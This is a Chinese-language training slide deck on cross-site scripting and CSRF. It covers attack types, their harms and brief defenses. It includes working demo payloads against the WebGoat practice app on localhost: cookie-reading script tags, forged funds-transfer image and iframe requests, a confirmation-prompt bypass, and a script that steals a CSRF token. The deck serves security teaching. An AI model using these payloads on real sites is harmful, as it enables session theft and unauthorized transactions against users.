220 likes | 575 Views
Cross-Site Scripting (XSS ). By: huyan. 什么是 XSS 攻击. 跨站脚本攻击 (Cross Site Scripting) , XSS 是一种经常出现在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到提供给其它用户使用的页面中。. XSS 攻击的 危害. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 盗窃企业重要的具有商业价值的资料 非法转账电子邮件 强制发送网站挂马 控制受害者机器向其它网站发起攻击.
E N D
Cross-Site Scripting (XSS) By: huyan
什么是XSS攻击 跨站脚本攻击(Cross Site Scripting),XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
XSS攻击的危害 • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 • 盗窃企业重要的具有商业价值的资料 • 非法转账电子邮件 • 强制发送网站挂马 • 控制受害者机器向其它网站发起攻击
XSS漏洞的分类 • 本地利用漏洞: 这种漏洞存在于页面中客户端脚本自身。 • 攻击过程: H给U发送一个恶意构造了Web的URL。 U点击并查看了这个URL。 恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在U电脑上。 具有漏洞的HTML页面包含了在U电脑本地域执行的JavaScript。 H的恶意脚本可以在U的电脑上执行U所持有的权限下的命令。
XSS漏洞的分类 • 存储式漏洞: 该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。 • 攻击过程: A拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。 H注意到A的站点具有存储式XXS漏洞。 H发布一个热点信息,吸引其它用户纷纷阅读。 A或者是任何的其他人U浏览该信息,其会话cookies或者其它信息将被H盗走。
XSS漏洞的分类 • 反射式漏洞: 类似存储式漏洞,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能注入到动态页面中。 • 攻击过程: U经常浏览某个网站A。U使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)在网站A中。 H发现A站点包含反射性的XSS漏洞,编写一利用漏洞的URL,并将其冒充为来自A的邮件给U。 U在登录到A的站点后,浏览H供的URL。 嵌入到URL中的恶意脚本在U的浏览器中执行,然后在U完全不知情的情况下将这些信息发送到H的Web站点。
演示内容 • Reflected XSS Attacks • Cross-site request forgery • CSRF Prompt By-Pass • CSRF Token By-Pass
Reflected XSS Attacks • 也被称为None-Persistent cross-site scripting,即,非持久化的XSS攻击,是我们通常所说的,也是最常用,使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL,当 URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
Reflected XSS Attacks • <SCRIPT>alert("bang");</SCRIPT> • <SCRIPT>alert(document.cookie);</SCRIPT> • <script type=“text/javascript”>if ( navigator.appName.indexOf(“Microsoft”) !=-1){var xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”);xmlHttp.open(“TRACE”, “./”, false); xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf(“\n”) > -1) str1 = str1.replace(“\n”,“<br>”); document.write(str1);};</script>(此Bug已修复)
Cross-site request forgery • 跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。 • 尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
Cross-site request forgery • 同源策略是一个在多数浏览器中实施的概念,但它可被XSS攻击利用(它利用了一个用户对于某个网站或应用程序的信任),也可被XSRF利用(它利用了网站或应用程序对用户的信任) • 网站是通过cookie来识别用户的,当用户成功进行身份验证之后浏览器就会得到一个标识其身份的cookie,只要不关闭浏览器或者退出登录,以后访问这个网站会带上这个cookie。如果这期间浏览器被人控制着请求了这个网站的url,可能就会执行一些用户不想做的功能(比如修改个人资料)。因为这个不是用户真正想发出的请求,这就是所谓的请求伪造。因为这些请求也是可以从第三方网站提交的,所以前缀跨站二字。
CSRF攻击过程举例 • U正在浏览聊天论坛,而同时另一个用户H也在此论坛中 • H以U的名义发布了一个具有U的银行链接的图片消息(此图片的tag是一个在U的银行站点上进行取款的提交表单的链接)。 • 如果U的银行在cookie中保存他的授权信息,并且此cookie没有过期,那么当U的浏览器尝试装载图片时将提交这个取款表单和他的cookie,这样在没经U同意的情况下便授权了这次事务。
演示 • <img src='http://localhost/webgoat/attack?Screen=13&menu=900&transferFunds=4000 width="1" height="1"> • 用webscarab观察
CSRF Prompt By-Pass • 执行跨站点请求伪造(CSRF)攻击,其中包含多个请求,来绕过确认信息。 • 举例:执行两个请求,一个转移资金,一个确认转移情况。
CSRF Prompt By-Pass • <iframe • src="http://localhost:80/webgoat/attack?Screen=6&menu=900&transferFunds=400" • id="myFrame" frameborder="1" marginwidth="0" • marginheight="0" width="800" scrolling=yes height="300" • onload="document.getElementById('frame2').src='http://localhost:80/webgoat/attack?Screen=6&menu=900&transferFunds=CONFIRM';"> • </iframe> • <iframe • id="frame2" frameborder="1" marginwidth="0" • marginheight="0" width="800" scrolling=yes height="300"> • </iframe>
CSRF Prompt By-Pass • <img src="http://localhost:80/webgoat/attack?Screen=6&menu=900&transferFunds=5000" onerror="document.getElementById('image2').src=' http://localhost:80/webgoat/attack?Screen=6&menu=900&transferFunds=CONFIRM'" width="1" height="1" /> <img id="image2" width="1" height="1" /> • 通过webscrab观察
CSRF Token By-Pass • 一些网站上使用token来减轻CSRF攻击CSRF攻击,但易受为CSS的攻击。利用同源策略,访问同源的页面,伪造命令需要知道一个隐藏的CSRFToken参数(这个参数是变化的)。
CSRF Token By-Pass • http://localhost/webgoat/attack?Screen=2&menu=900&transferFunds=main • <script language="javascript"> • <!-- • var tokenvalue; • function readFrame1() • { • var frameDoc = document.getElementById("frame1").contentDocument; • var form = frameDoc.getElementsByTagName("Form")[1]; • var token = form.CSRFToken.value; • tokenvalue = '&CSRFToken='+token; • loadFrame2(); • } • function loadFrame2() • { • var testFrame = document.getElementById("frame2"); • testFrame.src="http://localhost:80/webgoat/attack?Screen=2&menu=900&transferFunds=4000"+tokenvalue; • } • --></script> • <iframe src="http://localhost:80/webgoat/attack?Screen=2&menu=900&transferFunds=main" • onload="readFrame1() ;" • id="frame1" frameborder="1" marginwidth="0" • marginheight="0" width="800" scrolling=yes height="300"></iframe> • <iframe id="frame2" frameborder="1" marginwidth="0" • marginheight="0" width="800" scrolling=yes height="300"></iframe>
XSS攻击防御 • 基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同。这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS攻击。传统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。 • 基于代码修改的防御 和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免。
谢谢! By: 胡 燕